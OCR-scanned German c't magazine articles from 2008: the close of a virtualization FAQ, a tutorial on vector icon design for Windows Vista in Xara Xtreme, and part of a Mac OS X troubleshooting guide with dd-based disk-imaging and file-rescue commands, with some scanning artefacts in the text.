es den „VMware Server” umsonst. Der ist ei- 
gentlich für den Einsatz im Server-Umfeld 
gedacht, lässt sich aber auch problemlos 
als Einzelplatzvirtualisierer verwenden. Der 
ebenfalls kostenlose „/Mware Player“ kann 
VMs nur ausführen, aber keine neuen anle- 
gen. Die „/Mware Workstation” kostet mit 
160 Euro zwar nicht wenig, lässt aber kaum 
Wünsche offen. Für Mac OS X auf Macs mit 


x86-CPU gibt es neben Fusion von VMware 
noch den „Parallels Desktop for Mac” (je nach 
Lizenz ab 50 Euro). Von den kostenpflichti- 
gen Produkten bieten die Hersteller Demo- 
Versionen an. 


Freiraum 


Wie viel Hauptspeicher braucht mein 
Pc? 


Planen Sie mindestens so viel RAM ein, 

wie die Systeme, die Sie gleichzeitig be- 
treiben wollen, zusammen benötigen. Vir- 
tualisierer können den Speicher auch nicht 
vermehren. Wenn Sie beispielsweise auf 
einem Wirt mit Windows XP eine VM mit 
Windows Vista als Gastsystem betreiben wol- 
len, sollten Sie mindestens 1 GByte RAM ver- 
anschlagen, eher mehr. Mit weniger macht 
es einfach keinen Spaß. 


Angestöpselt 


Wie sieht es mit Peripherie aus, etwa 
Druckern? 


Geräte für den Seriell-, Parallel- oder 

USB-Port bereiten Virtualisierern nur sel- 
ten Probleme, etwa Speicher-Sticks, Mobil- 
telefone, Drucker, Scanner oder Webcams. 
Sie müssen lediglich einen passenden Trei- 
ber in der VM installieren und dem Virtuali- 
sierer mitteilen, dass er den Anschluss, an 
dem das Gerät hängt, mit dem Gastsystem 
verbinden soll. 

Anders sieht es mit FireWire aus. Kein uns 
bekannter Virtualisierer unterstützt diese 
Schnittstelle. Das Auslesen der Filme einer 
DV-Kamera klappt deshalb nicht in einer VM. 


Im Netz 


Taugt eine virtuelle Maschine auch zum 
Surfen im Internet? 


Ja. Virtualisierer können eine VM sehr fle- 

xibel ins Netzwerk einbinden, zum Sur- 
fen, E-Mailen oder Nutzen von Freigaben: So 
kann eine VM beispielsweise als eigenstän- 
diger Rechner im Netzwerk agieren. Auf 
Wunsch nutzt eine VM aber auch die Netz- 
werkverbindung des Wirts transparent mit, 
Wirt und VM erscheinen dann als eine Einheit 
im Netz. (adb) 
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Gerald Himmelein 


Schöner als echt 


Icon-Design für Windows Vista im Detail 


Die Gestaltung von 
Programmsymbolen für 
Windows Vista stellt Icon- 
Designer vor neue Heraus- 
forderungen. Damit das 
Betriebssystem für die 
eigenen Programme und 
Dokumente in jeder 
Auflösung ein anspre- 
chendes Symbol anzeigt, 
gestaltet man Icons am 
besten in Vektorform. 


is Windows XP mussten 
RB Icons in drei Auflösungen 

in drei Farbtiefen vorliegen: 
16x 16, 32x32 und 48 x 48 Pixel 
mit je 16, 256 und 16 Millionen 
Farben. Das mit Vista eingeführte 
zehnte Format mit 256 x 256 Pi- 
xeln in Echtfarben fällt jedoch 
derart aus dem Rahmen, dass 
neue Design-Ansätze nötig sind. 

Mit den allgemeinen Eigen- 
schaften von Vista-Symbolen hat 
sich schon [1] befasst. Diesmal 
soll es um konkrete Tipps zum 
Icon-Design gehen. 

Auch wenn die neuen Vista- 
Icons fotorealistisch erscheinen, 
handelt es sich dabei bis auf we- 
nige Ausnahmen durchgehend 
um Vektorgrafiken, die mit Farb- 
verläufen und anderen Kniffen 
ein Foto imitieren. 

Gute Icons erfüllen mehrere 
Kriterien: Real existierende Ge- 
genstände sind auf den ersten 
Blick zu erkennen; abstrakte For- 
men folgen klaren Strukturen. 
Mit der Einführung von 48 x 48 
Pixel großen Icons in Win- 
dows XP und den 128x128-Sym- 
bolen für Mac OS X begann die 
allmähliche Abkehr von stark 
stilisierten Motiven hin zu einer 
realistischen Darstellung. Das 
256x256-Format von Vista schreit 
jedoch förmlich nach fotorealis- 
tischen Motiven. 


Unrealistische Fotos 


Mehrere Faktoren sprechen da- 
gegen, einfach ein freigestelltes 
Fotomotiv zum Icon umzufunk- 
tionieren. Fotos zeigen oft De- 
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tails, die nicht zur Wiedererken- 
nung beitragen. In voller Auflö- 
sung stellt das selten ein Pro- 
blem dar, doch zeigt Vista das 
256x256-Icon meist nur dyna- 
misch herunterskaliert, etwa auf 
dem Desktop in 96 x 96 Pixel 
Auflösung: Schon hier gehen 
erste Details unter. Das liegt 
daran, dass der Interpolationsfil- 
ter nicht unterscheiden kann, 
welche Details zur Wiedererken- 
nung des Motivs beitragen und 
welche unnötig sind - also wird 
alles irgendwie zusammenge- 
matscht. 

Bei der Reduktion der Kanten- 
länge auf 96 Pixel sieht das Er- 
gebnis noch ganz manierlich aus. 
Auch bei 48 x 48 Pixeln lässt sich 
meist noch erkennen, was das 
Icon darstellen soll. Bei 32 x 32 Pi- 
xeln zerfällt das Motiv jedoch zu 
einer diffusen Punktwolke. 

In der Taskleiste und in der 
Titelleiste des Dokumentenfens- 
ters zeigt Vista sogar ein nur 
16x16 Pixel kleines Icon - spätes- 
tens hier verkommt das ehemals 
stolze fotorealistische Icon zu 
einem amorphen Farbklumpen. 

Das liegt nicht an Vistas In- 
terpolationsalgorithmus; auch 
teure Bildbearbeitungsprogram- 
me können hier nicht viel mehr 
tun. Grafiker kennen zwar Tricks, 
um das Problem bis zu einem 
gewissen Grad zu kompensieren: 
Beispielsweise kann ein selekti- 
ver Weichzeichner vor dem Ska- 
lieren Bildrauschen entfernen 


u) 


und feine Muster glatt bügeln. 
Dabei gehen aber oft auch De- 
tails unter, die den Wiedererken- 
nungswert ausmachen. 

Nicht ohne Grund arbeiten 
die meisten Icon-Designer seit 
Windows XP mit Vektorgrafik- 
programmen. Profis setzen da- 
bei meist auf Adobe Illustrator. 
Als Icon-Editor ist die Software 
jedoch sowohl vom Preis her 
(860 Euro) als auch im Funktions- 
umfang überdimensioniert. Xara 
Xtreme schont den Geldbeutel 
(70 Euro) und ist deutlich leichter 
zu erlernen; daher beziehen sich 
die folgenden Tipps auf dieses 
Programm. 


Motiventwicklung 


Die Entwicklung eines anspre- 
chenden Symbols beginnt idea- 
lerweise mit Papier und Stift. 
Wer direkt am Computer loslegt, 
erlebt oft kurz vor Schluss die 
herbe Enttäuschung: Das sieht 
doch nicht so aus, wie es sollte 
... doch für grundsätzliche Kurs- 
korrekturen ist es dann zu spät. 
Besser, man bringt die Design- 
Fehler schon auf dem Papier hin- 
ter sich; das lässt sich auch bes- 
ser zusammenknüllen als ein 
Monitor. 

Irgendwie muss das Motiv in 
einen quadratischen Rahmen 
passen, selbst wenn dieser nicht 
bildlich in Erscheinung tritt. Im 
gewählten Beispiel eines USB- 
Sticks war dies besonders 


schwierig, da diese Speicher- 
medien nun mal schmal und 
lang sind. Die Skizzenphase bie- 
tet die ideale Gelegenheit, um 
auszuprobieren, welche Details 
man bei den kleineren Symbolen 
weglassen kann, damit sie gut 
erkenntlich bleiben. Mit Buntstif- 
ten kann man auch mögliche 
Farbkombinationen ausprobie- 
ren, bevor man sich über RGB- 
Werte den Kopf zerbricht. 

Dokumenten-Icons sollten so 
weit wie möglich in dezenten 
Tönen gehalten sein, also vor 
allem in kalten Farben: blau, 
grau, mattgrün. Oft dient ein 
Farbklecks als Blickfang. Die mit 
Vista ausgelieferte Icon-Biblio- 
thek imageres.dll bietet anspre- 
chende Beispiele für eigene Ent- 
würfe - insbesondere die Sym- 
bole 19, 102 und 124 ff. 

Programmsymbole ziehen 
mit kräftigen Farben die Auf- 
merksamkeit des Anwenders auf 
sich. Profis beschränken sich auf 
eine einzige warme Farbe pro 
Symbol. Knallbunte Icons wirken 
aufdringlich, was auch Microsoft 
nicht verborgen geblieben ist: 
Nicht ohne Grund wird die Flag- 
ge auf dem Windows-Startknopf 
mit jeder Version des Betriebs- 
systems etwas blasser. 

Trotz der erwähnten Einwän- 
de spielen Fotos beim Icon-De- 
sign eine wichtige Rolle - als 
Inspirationsquelle und Vorlage 
zum Durchpausen. Wenn mög- 
lich, sollte man eigene Aufnah- 
men machen. Diese Bilder müs- 
sen keine professionellen An- 
sprüche erfüllen, sie dienen nur 
zur Orientierung. Idealerweise 
findet die Foto-Session vor 
einem weißen Hintergrund statt. 
Die Beleuchtung sollte den De- 
sign-Vorgaben für Vista entspre- 
chen: Hauptlicht von oben links, 
Aufheller von rechts Mitte. 

Fotografiert man einen klei- 
nen Gegenstand aus größter 
Nähe, verzerrt die Linse das Ob- 
jekt so, dass alle geraden Linien 
zu Kurven werden. Gehen Sie lie- 
ber etwas auf Distanz und holen 
Sie das Motiv dann mit dem opti- 
schen Zoom so nah wie möglich 
zu sich ran. Hier spart die Investi- 


Die Entstehungsgeschichte 
eines Icons beginnt auf 
dem Papier. Hier kann 

man unkompliziert herum- 
probieren, bevor man sich 
ans Fotografieren und 
Vektorifizieren macht. 
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tion in ein Stativ in der 30-Euro- 
Klasse viele Nerven - dann kann 
sogar schon eine Schreibtisch- 
lampe als Lichtquelle reichen. 

Für das Beispiel-Icon wurde 
ein USB-Stick aus privatem Besitz 
fotografiert. Da sich die Diva nur 
liegend knipsen ließ, die Idee 
aber einen stehenden Stick vor- 
sah, mussten Licht und Kamera- 
position entsprechend positio- 
niert werden. Dabei erwies sich 
eine Skizze mit den eingezeich- 
neten Lichtquellen als extrem 
hilfreich. 


Magie jetzt 


Das fertige Foto wird als Bitmap- 
Vorlage in das Vektorgrafikpro- 
gramm Xara geladen. Dort redu- 
ziert man die Maße des Fotos 
mithilfe eines Dummy-Quadrats 
auf die zum Durchpausen benö- 
tigten passenden Maße. 

Zur Verwandlung der Fotovor- 
lage in Vektorformen kommt kei- 
ne Magie zum Einsatz, sondern 
reine Handarbeit. Diese Aufgabe 
liegt jenseits der Fähigkeiten 
eines Bitmap-Vektorisierers. Beim 
ersten Mal wird man für die 
höchste Auflösung etwa zwei 
Stunden benötigen, bei nachfol- 
genden Icons allenfalls die Hälfte. 

Zunächst werden die Grund- 
formen des Fotos als Vektoren 
durchgepaust. Die ersten Rohfor- 
men entstehen aus Rechtecken, 
die in Xara per „Anordnen/In edi- 
tierbare Form konvertieren” zu 
regulären Polygonen werden. 
Daraufhin zupft man ihre Eck- 
punkte mit dem „Formeditor- 
Werkzeug” zurecht und verformt 
Linien gegebenenfalls zu Kurven. 
Die Option „Fenster/An Objekten 
ausrichten” sorgt dafür, dass Sei- 
ten und Eckpunkte aneinander 
haften. Das „Kontur-Werkzeug” 
hilft bei Formen, die andere kom- 
plett umschließen sollen. 

Benachbarte Rohobjekte er- 
halten unterschiedliche Farben - 
diese darf man zunächst frei wäh- 
len. Die endgültige Farbgebung 
kommt erst ins Spiel, wenn alle 
Formen stimmen. Oft kann man 
die Farbwerte mit der Pipette des 
Farbwählers (Extras/Farbeditor) 
direkt der Fotovorlage entneh- 
men. Da viele Fotos unauffälliges 
Farbrauschen enthalten, sollte 
man im HSV-Modus nach Mög- 
lichkeit die Sättigung reduzieren. 

Lineare und kreisförmige Farb- 
verläufe verleihen den Vektorfor- 
men einen plastischen Eindruck. 
Edit/Paste Attributes überträgt 
die Farbeigenschaften von einem 


c't 2008, Heft 2 


Praxis | Icon-Design 


Der zu vektorifizierende 
USB-Stick 


Polygon auf ein anderes. Der Bei- 
spiel-Stick besteht aus gerade 
mal 27 Formen - alles andere 
sind Farbverläufe. Ungläubige 
können die Demodatei über den 
Soft-Link am Artikelende her- 
unterladen. Zum Öffnen benöti- 
gen Sie entweder eine Testver- 
sion von Xara Xtreme oder die 
c't 04/07 beigelegte Light-Version 
Xara XS. 

Als nächstes ist wieder Magie 
angesagt - will meinen: Hand- 
arbeit. Betrachten Sie das 
256x256-Icon bei 100 Prozent, 
duplizieren Sie es und setzen Sie 
die Höhe des kompletten Dupli- 
kats auf 46 Pixel fest, wobei die 
Option „Seitenverhältnis behal- 
ten” aktiv sein muss (das kleine 
Vorhängeschloss neben den Fel- 
dern zur Größeneingabe). 

Auf den ersten Blick wirkt das 
Ergebnis genauso verwaschen 
und enttäuschend wie ein her- 
unterskaliertes Foto. Nur besteht 
hier eine Möglichkeit, die ver- 
schwundene Schärfe mit relativ 
geringem Aufwand wiederher- 
zustellen. Dazu reduziert man 
das verkleinerte Motiv auf das 
Wesentliche, verstärkt die Kon- 
traste der Farbverläufe und 
wechselt immer wieder mit der 
Tastenkombination Strg-R zwi- 
schen der 100-Prozent-Ansicht 


und dem 1000-Prozent-Zoom, 
um das Ergebnis zu beurteilen. 

Im Beispiel blieben vom stol- 
zen Stick gerade mal 15 Formen 
übrig. Diverse Verläufe wurden 
vereinfacht und die Kontraste an- 
gehoben. Das Ganze war aber 
eine Sache von Minuten. Schließ- 
lich ging es nur noch darum, die 
bereits vorhandene Geometrie 
zu vereinfachen. 

Der Weg zum 32x32-Icon ver- 
läuft analog: Das 48x48-Symbol 
auf 30 Pixel verkleinern und wie- 
der alles wegrationalisieren, was 
bei 100-prozentiger Darstellung 
nicht mehr eindeutig zu erken- 
nen ist, aber eine klare Darstel- 
lung verhindert. So weichen Ver- 
läufe einfarbigen Polygonen; die 
Status-LED wird der Deutlichkeit 
zuliebe auf ein Vielfaches vergrö- 
Bert. Im Beispiel waren am Ende 
12 Formen übrig. 

Die Reduktion auf 16x 16 
Pixel ist ein Fall für sich. Da hier 
auch Vista schummelt, sollte 
man dem großen Beispiel 
schamlos folgen: Es gibt nichts 
mehr zu vereinfachen; das Mini- 
symbol muss eine eigenständige 
Grafik sein. Hier sind auch keine 
perspektivischen Klimmzüge 
mehr gefragt, es lassen sich al- 
lenfalls noch die Farben über- 
nehmen. 


Schrittweise bildet sich aus bunten Vektorformen eine passable 
Imitation der Fotovorlage. 


Um mit Xara pixelgenau zu ar- 
beiten, setzen Sie am besten die 
Werte „Hauptabstand” und „An- 
zahl Unterteilungen” unter „Ex- 
tras/Optionen/Raster und Lineal” 
jeweils auf 10 und aktivieren 
dann „Fenster/An Raster ausrich- 
ten”. 

In Xara besteht der letzte 
Schritt darin, die Icons für 
256 x 256, 48x 48, 32 x 32 und 
16 x 16 ins PNG-Format zu expor- 
tieren. Wenn Sie auf Anwender 
Rücksicht nehmen möchten, die 
ihr Betriebssystem nicht im Echt- 
farbenmodus betreiben, sollten 
Sie die Auflösungen 48 x 48 und 
32x 32 ein zweites Mal ohne 
Schatten exportieren - für die 
Symbole mit 256 und 16 Farben. 
Zum Abschluss flickt man die Bit- 
maps in einem Icon-Editor zu 
einem Windows-Icon zusammen 
und transponiert dabei die feh- 
lenden Farbtiefen. Abhängig 
vom Motiv kann man die von 
Xara exportierten Bitmaps vor 
der Icon-Konvertierung noch 
leicht nachschärfen. (ghi) 


Literatur 


[1] Gerald Himmelein, Aufgeplustert, 
Icons für Windows Vista gestalten 
oder ergänzen, c't 8/07, S. 166 
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Drei Iterationen eines 
USB-Sticks: links das 
High-Res-Exemplar für 
256 x 256 Pixel, da- 
neben bei derselben 
Skalierung die Grafiken 
für 48 x 48 und 32 x 32. 
Die kleineren Versionen 
sind sowohl in ihrer 
endgültigen Größe 

zu sehen als auch 
hochskaliert. [44 
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Andreas Beier 


Schockschwerenot 


Probleme erkennen und beheben unter Mac OSX 


Wenn der Mac statt der vertrauten Begrüßungsfanfare 
beim Einschalten nur müde piept, der Anmeldedialog das 
seit Jahren verwendete Passwort mit einem Kopfschütteln 
ablehnt oder iPhoto plötzlich an Bilderschwund leidet, 
dann lautet die erste Regel: keine Panik, Ruhe bewahren! 
Meist genügen nämlich ein paar einfache Rettungsmaß- 
nahmen, um die Situation zu bereinigen. 


u den häufigsten Proble- 
men, die Anwender mit 
ihren Computern haben, 
gehören Anwendungsprogram- 
me, die nicht das tun, was man 
von ihnen erwartet. Führt eine 
Software ohne Rückmeldung eine 
Funktion nicht aus oder stürzt 
dabei ab, lässt sich mit ein wenig 
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Glück die Ursache dafür einer 
der zahlreichen Protokolldateien 
entnehmen, die das System 
führt. Mit der Konsole (zu finden 
in Dienstprogramme) lassen sie 
sich recht komfortabel in Augen- 
schein nehmen, vom system.log 
über die Protokolle des Crash- 
Reporter bis hin zu den Meldun- 


gen der diversen Systemdienste. 
Alle im System vorhandenen 
Log-Dateien zeigt die Konsole 
über die Werkzeugleiste oder 
„Protokollliste einblenden” im 
Menü „Darstellung“. 

Liefern die Protokolle keinen 
Anhaltspunkt, hilft es manchmal 
auch schon, die Einstellungsda- 
teien einer Anwendung zu lö- 
schen. Sie liegen in der Regel im 
Verzeichnis Library/Preferences 
im Home-Verzeichnis des Benut- 
zers. Das Namensschema ent- 
spricht meist einer umgedrehten 
Internet-Adresse, die auf den 
Programmnamen endet, etwa 
com.apple.safari. Die Dateien- 
dung lautet „plist” - zumindest 


bei Programmen, die sich an die 
Apple-Konvention halten. Mit 
dem „Property List Editor” aus 
Apples XCode-Entwicklungsum- 
gebung oder der Freeware „Pref 
Setter“ kann man komfortabel in 
solche Einstellungsdateien hin- 
einschauen. 

Anwendungen, die ihre Daten 
automatisch sichern, legen sie 
gerne in einem Verzeichnis in 
„Library/Application Support“ ab, 
etwa das Adressbuch. Deshalb 
ist beim Löschen der dort la- 
gernden Dateien Vorsicht gebo- 
ten. Man kann aber das zu einem 
Programm gehörende Verzeich- 
nis von Application Support pro- 
behalber auf den Schreibtisch 
legen und schauen, ob eine An- 
wendung dann immer noch 
rumzickt. 

Schwieriger stellt sich die Situ- 
ation dar, wenn der Mac nicht 
starten will. Nicht immer sind 
Hardware-Defekte die Ursache, 
manchmal liegt es auch nur an 
einer falschen Einstellung im Pa- 
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rameter-RAM des Rechners, etwa 
weil dort ein falsches Start- 
volume vermerkt ist. Gleichzei- 
tiges Drücken der Tasten Alt, Be- 
fehl (#), P und R direkt nach Er- 
tönen der Startfanfare - so 
lange, bis der Startsound ein 
weiteres Mal ertönt - setzt diese 
Einstellungen auf ungefährliche 
Standardwerte zurück. Anschlie- 
Bend sollte man zur Sicherheit in 
den Systemeinstellungen über- 
prüfen, ob die Werte den eige- 
nen Vorstellungen entsprechen. 

Eine direkte Auswahl des 
Startlaufwerks bietet der inte- 
grierte Boot-Manager der Macs - 
auch nützlich, wenn man etwa 
nur ab und zu von einer exter- 
nen Festplatte starten will. Drü- 
cken der Alt-Taste beim System- 
start ruft den Boot-Manager auf. 
Er lässt sich via Tastatur und 
Maus bedienen, CDs wirft man 
wie vom Finder gewohnt mit der 
Eject-Taste der Tastatur oder 
durch langen Druck auf die F12- 
Taste aus. Weitere nützliche Tas- 
tenkombinationen, mit denen 
man Einfluss auf den Rechner- 
start nehmen kann, finden Sie im 
Kasten „Tastenkürzel beim Rech- 
nerstart”. 


Notfallhelfer 


Für altgediente Mac-Anwender 
ist es ganz selbstverständlich, 
ihren Rechner auch von einer ex- 
ternen Festplatte oder System- 
CD/DVD starten zu können. Es 
bereitet deshalb keine Proble- 
me, auf einem externen Lauf- 
werk eine Mac-OS-X-Installation 
vorrätig zu halten, von der man 
im Falle eines System-Crash star- 
ten kann. Damit hat man dann 
schnell wieder Zugriff auf seine 
Daten oder kann versuchen, 
diese zu retten. Während x86- 
Macs wenig wählerisch sind und 
von USB- und FireWire-Laufwer- 
ken (IEEE 1394) gleichermaßen 
starten, beziehen die meisten 
PowerPC-Rechner nur 1394-Plat- 
ten in die Startauswahl mit ein. 
Die Installation von Mac OS X 
auf einer externen Platte unter- 
scheidet sich nicht von der auf 
einer internen. Spezielle Verren- 
kungen sind nicht nötig, wählen 
Sie einfach das gewünschte 
Laufwerk als Installationsziel aus. 
Bietet der Installer ein Laufwerk 
nicht an, liegt es meistens am fal- 
schen Partitionierungsschema. 
Auf einem x86-Mac verlangt er 
zwingend nach einer „GUID Par- 
titionstabelle”, auf PowerPC- 
Macs nach einer „Apple Parti- 
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tionstabelle“. Diese Einstellung 
finden Sie im Reiter „Partitionie- 
ren“ des zum Betriebssystem ge- 
hörenden Festplatten-Dienst- 
programms unter „Optionen“. 

Wollen Sie sich die Mühen 
einer Neuinstallation mit ab- 
schließender Konfiguration er- 
sparen oder an einem x86-Mac 
ein System auf eine Platte mit 
Apple-Partitionstabelle beför- 
dern, können Sie auch einfach 
Ihr Arbeitssystem auf eine ande- 
re Partition oder eine externe 
Platte klonen. Das kann das Fest- 
platten-Dienstprogramm [1], aber 
etwa auch das auf diese Aufgabe 
spezialisierte kostenlose Pro- 
gramm Carbon Copy Cloner (alle 
Downloads siehe Soft-Link). Ach- 
tung: Nach dem Klonen heißen 
interne und externe Platte 
gleich. Eine externe Platte sollte 
sich aber leicht an ihrem orange- 
farbenen USB- oder FireWire- 
Symbol erkennen lassen. Um 
Verwirrung zu vermeiden, soll- 
ten Sie ihr einen neuen, eindeu- 
tigen Namen geben. 

Das Klonen hat außerdem 
den Vorteil, dass außer dem Sys- 
ten auch alle Programme auf das 
Klonziel wandern, zu finden an 
den bekannten Orten. Sollte der 
Mac einmal nicht von der inter- 
nen Platte starten wollen, so 
kann man dies von der externen 
Platte tun und fast ohne Unter- 
brechung mit den gewohnten 
Programmen weiterarbeiten. 

Spätestens jetzt beruhigt es 
ungemein, wenn man eine ak- 
tuelle Sicherung seiner Daten im 
Schrank liegen hat. Dann ist man 
nämlich bei Problemen mit Plat- 
te oder System nicht darauf an- 
gewiesen, noch auf die Daten 
zugreifen zu können. Zeigt der 
Finder die interne Platte am 
Schreibtisch an, bereitet dies in 
der Regel aber auch keine Pro- 
bleme. 

Ehe man nach dem Start von 
einer externen Platte versucht, 
ein System zu reparieren, das 
nicht mehr starten will, sollte 
man ein Image der defekten 
Festplatte anlegen, das ist das 


Eine Überprüfung des 
Dateisystems mit dem 
Festplatten-Dienstprogramm 
dauert nicht lange, stellt 
aber sicher, dass sich kleine 
Inkonsistenzen nach einem 
Systemabsturz im laufenden 
Betrieb nicht zu großen 
Problemen auswachsen. 


Kein Bild, kein Ton 


Besitzer älterer Mac-Modelle 
mit PowerPC-Prozessor mögen 
zwar täglich damit rechnen, 
dass der Rechner seinen Geist 
aufgibt, aber nur, weil der Mac 
totes Männchen spielt und 
noch nicht einmal die Festplat- 
te anläuft, muss es noch nicht 
soweit sein. Auch die nahelie- 
gende Diagnose „Netzteilscha- 
den” kann falsch sein. Bei et- 
lichen Modellen sorgt nämlich 
eine schlappe Pufferbatterie 
für einen todähnlichen Zu- 
stand, während andere dann 
lediglich Datum und Uhrzeit 
vergessen und sich ins Jahr 
1904 oder 1970 zurückversetzt 
fühlen. Moderne Macs mit x86- 
Prozessor sollten von diesem 
Problem noch nicht betroffen 
sein, sie sind noch nicht alt 
genug für eine erschöpfte Puf- 
ferbatterie. 


Auch eine verwirrte Power Ma- 
nagement Unit (PMU) - bei 
x86-Macs steckt sie im System 
Management Controller (SMC) 
- kann Schuld daran sein, wenn 
der Mac nicht auf Drücken der 
Anschalttaste reagiert. Leider 
gibt es über die verschiedenen 
Modellgrenzen hinweg keinen 
allgemeingültigen Weg, um die 
PMU wieder in einen definier- 
ten Zustand zu bringen. Bei 
manchen Macs genügt es, den 
Rechner vom Netz zu trennen 
und ein paar Sekunden zu war- 
ten, ehe man das Stromkabel 
wieder anschließt. Bei tragba- 
ren Geräten muss man noch 
den Akku entfernen. Im Sup- 
port-Bereich von Apple (www. 
apple.com/de/support) findet 
man über die Suchwörter 
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„Reset“, „PMU” und das Mac- 
Modell, etwa Mac mini, zur pas- 
senden Beschreibung. Für eini- 
ge Geräte erreichen Sie über 
den Soft-Link am Ende des Arti- 
kels die entsprechenden Doku- 
mente bei Apple direkt, ebenso 
wie für andere Tipps. 


Bleibt der Bildschirm dunkel 
und tönen statt Begrüßungs- 
fanfare nach dem Anschalten 
immerhin noch ein paar Piep- 
ser aus dem Rechnergehäuse, 
dann steckt vermutlich defek- 
ter Hauptspeicher im Rechner 
oder es sitzen, etwa nach einer 
Speicheraufrüstung, die Modu- 
le nicht korrekt in den Sockeln. 
Wie bei leerer Pufferbatterie 
verhalten sich die Mac-Modelle 
wieder nicht einheitlich: Ihnen 
ist nur gemein, dass drei Piep- 
ser RAM-Probleme signalisie- 
ren. Manche Macs spielen die 
Dreiersequenz nur einmal ab, 
blinken dafür aber noch mit 
der Power-LED. 


Vermutet man aufgrund der 
Krankheitssymptome, etwa 
sporadisches Einfrieren des 
Rechners, einen Hardware-De- 
fekt, kann möglicherweise der 
„Apple Hardware Test” (AHT) 
Klarheit verschaffen. Er steckt 
seit Jahren in den mit einem 
Rechner gelieferten System- 
CDs, auch bei den x86-Model- 
len. Er ist speziell auf ein Hard- 
ware-Modell zugeschnitten, 
deshalb fehlt er bei den Sys- 
tem-DVDs, die ohne Rechner 
verkauft werden. Der AHT star- 
tet, wenn man mit gedrückter 
Taste D von der ersten Installa- 
tions-CD bootet. 


tr 


/B 


u Mount Point 
Format Mat 0% Extended Onurmaker 
Eigentümer aktiviert ja 
Anzahl der Ordner: 72.191 


Kapazität: 74,2 GB 7% 
Verfügbar: 42.7 GB 145 
Belegt: 31.5 GE (33 


Anzahl der Dateien: 148.454 
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Nur ein kleiner Hinweis 
auf der Installations-CD 
verrät die Existenz des 
„Apple Hardware 
Test” (AHT). Apple 
packt ihn seit 
Jahren auf die 
mit einem Mac 
gelieferten 
Installations- 
medien. 


Mac OS version 10.4.4 


AHT version 3A100 
Disc version 1.1 
227691-5736-A 


1:1-Abbild in einer Datei. Das ist 
besonders wichtig, wenn man 
nicht über eine aktuelle Daten- 
sicherung verfügt. Dann kann 
man, wenn beim Rettungsver- 
such alle Stricke reißen, zumin- 
dest immer wieder von vorn an- 
fangen. Das Image können Sie 
mit dem Festplatten-Dienstpro- 
gramm anfertigen, aber auch mit 
dem bereits erwähnten Carbon 
Copy Cloner. 

Schlägt das Anlegen des 
Image fehl, etwa weil Fehler 
beim Lesen auftreten, kann ein 
Ausflug mit dem Programm 
„lerminal” zum Unix-Unterbau 
des Systems helfen. So legt bei- 
spielsweise 


dd bs=65K if=/dev/rdiskl 7 
of=/Rettung/Platte.dmg 7 
conv=noerror,sync 


ein Image der zweiten Platte - 
die Zählung der Platten beginnt 
bei Null - an. Die Option noerror 
sorgt dafür, dass dd auch beim 
Auftreten von Lesefehlern seine 
Arbeit nicht abbricht. sync veran- 
lasst dd, fehlende Daten mit Nul- 
len aufzufüllen. 

Statt einer kompletten Fest- 
platte (im Beispiel rdisk1) lässt 
sich auch nur eine einzelne Parti- 
tion (etwa if=/dev/rdisk1s3) oder 
eine Datei als Quelle angeben. 
Welche Bezeichnungen die Plat- 
ten und Partitionen im System 
tragen, verrät diskutil list. Für die 
Kommandozeile-Befehle erhal- 
ten Sie durch Eingabe von man 
Befehl eine englische Erläuterung 
der möglichen Optionen. 

Um beispielsweise die Datei 
„Geburtstag.mov” im Verzeichnis 
Filme des Benutzers adb auf 
dem Volume „Macintosh HD" zu 
retten, etwa weil der QuickTime 
Player sie nicht öffnen will und 
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der Finder beim Kopieren einen 
Fehler meldet, führt man im Ter- 
minal 


dd if=/Volumes/Macintosh\ HD/,7 
Users/adb/Movies/Geburtstag.mov 7 
of=/Rettung/Kaputt.mov 7 
conv=noerror,sync 


aus. Sollte der QuickTime Player 
den Film nach der Rettung 
immer noch nicht abspielen wol- 
len, ist wahrscheinlich zu viel sei- 
ner Struktur beschädigt. 

Mit ddrescue existiert eine 
dd-Version, die speziel für die 
Datenrettung entwickelt wurde. 
Sie gehört leider nicht zum Lie- 
ferumfang von Mac OS X, son- 
dern muss mit dem Tool Mac- 
Ports installiert werden, was 
wiederum Apples Entwicklerum- 
gebung XCode voraussetzt. 


Rettungsweste 


Möchte man sich die Investition 
in eine externe Platte ersparen 
oder hat diese nicht zur Hand, 
etwa bei einem Notfalleinsatz im 
Bekanntenkreis, taugt auch eine 
Installations-DVD als Notfallme- 
dium. Darauf befinden sich zwar 
nur wenige Programme, sie rei- 
chen aber aus, um die Erstversor- 


gung am Unfallort vorzunehmen 
und Daten zu retten. 

Nach dem Starten vom Instal- 
lationsmedium lassen sich über 
das Menü „Dienstprogramme” 
unter anderem das Festplatten- 
Dienstprogramm und das Termi- 
nal erreichen. Auch „Kennwörter 
zurücksetzen” lässt sich dort 
starten - letzte Rettung, wenn 
man sich beim besten Willen 
nicht mehr an das Passwort 
eines selten benutzen Kontos er- 
innern kann. 

Den Finder sucht man aber 
vergeblich. Er lässt sich leider 
auch nicht einfach auf einen 
USB-Stick kopieren und von dort 
starten. Dafür fehlen der Installa- 
tionsscheibe zu viele Bibliothe- 
ken. Stattdessen muss man 
Daten mit cp kopieren. Die oben 
beschriebenen dd-Anweisungen 
funktionieren ebenfalls. 

Wie am Mac üblich bindet 
auch das von CD gestartete Sys- 
tem Laufwerke automatisch ein, 
etwa USB-Sticks oder FireWire- 
Platten. Über diskutil list und mount 
findet man heraus, über welchen 
Pfad man sie ansprechen kann. 

Bis Mac OS X 10.4 (Tiger) muss 
man sich im von CD gestarteten 
Terminal mit einer amerikani- 
schen Tastaturbelegung herum- 
schlagen. Unter Mac OS X 10.5 
(Leopard) erscheint nach dem 
Starten des Terminals rechts in 
der Menüzeile unter der ameri- 
kanischen Fahne die Möglich- 
keit, mit „Andere Eingabequel- 
len” auf deutsche Tastaturbele- 
gung umzustellen. 

Selbst wenn Sie weder Notfall- 
Platte noch System-CD zur Hand 
haben, stehen Sie bei einem an- 
geschlagenen Mac OS X nicht 
mit völlig leeren Händen da. Hal- 
ten Sie beim Einschalten des Mac 
nämlich die Taste T gedrückt, 
versetzen Sie ihn in den soge- 
nannten FireWire-Target-Disk- 
Modus, erkennbar an einem gro- 
ßen FireWire-Logo auf dem 
schwarzen Bildschirm. Dann ver- 
hält sich der Rechner wie eine ex- 


Tastenkürzel für den Rechnerstart 


Taste drücken Effekt 

£ Start von einer bootfähigen CD oder DVD 

D Start des Apple Hardware Test (AHT) von einer System-CD/DVD 
T Rechner in den FireWire-Target-Disk-Modus versetzen 

F12 oder Maustaste eine CD/DVD beim Rechnerstart auswerfen 

Alt Boot-Manager aufrufen 

Shift Startobjekte temporär deaktivieren 

